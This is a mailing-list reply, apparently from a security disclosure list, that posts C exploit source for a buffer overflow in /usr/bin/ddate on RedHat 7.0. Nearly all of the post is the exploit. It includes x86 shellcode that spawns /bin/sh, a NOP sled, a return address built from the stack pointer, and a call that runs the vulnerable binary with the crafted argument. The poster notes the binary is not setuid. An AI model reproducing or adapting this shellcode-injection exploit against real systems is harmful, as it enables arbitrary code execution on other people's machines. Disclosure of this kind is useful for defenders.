Re: /usr/bin/ddate buffer overflow

[s1gnal_9 <s1gnal_9 () SUNOS COM>]

Even though this binary is not suid, I wrote a sample exploit for it for fun.  Here it is below:
The buffer is slightly larger than Slackware's ddate version by 40 bytes... so my buffer was 448 overall.

/* DDate Overflow exploit for RedHat 7.0 by s1gnal_9 */

#include <stdio.h>
#include <string.h>

#define OFFSETS -50 /* Redhat 7.0

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
    __asm__("movl %esp, %eax");
}

int main(int argc,char **argv)
{
  char buf[448];
  char buf2[449];
  int offset;

  if(argc < 2) { offset = OFFSETS; } else { offset = atoi(argv[1]); }
  memset(buf,0x90,sizeof(buf));
  memcpy(buf + sizeof(buf) - strlen(shellcode) - 8, shellcode,
  strlen(shellcode));
  *(long *)&buf[448 - 4] = get_sp() - offset;
  strcpy(buf2, "+");
  strcat(buf2, buf);
  execl("/usr/bin/ddate", "ddate", buf2, NULL);
}
--
_______________________________________________
Get your free email from http://sunos.com
Powered by Instant Portal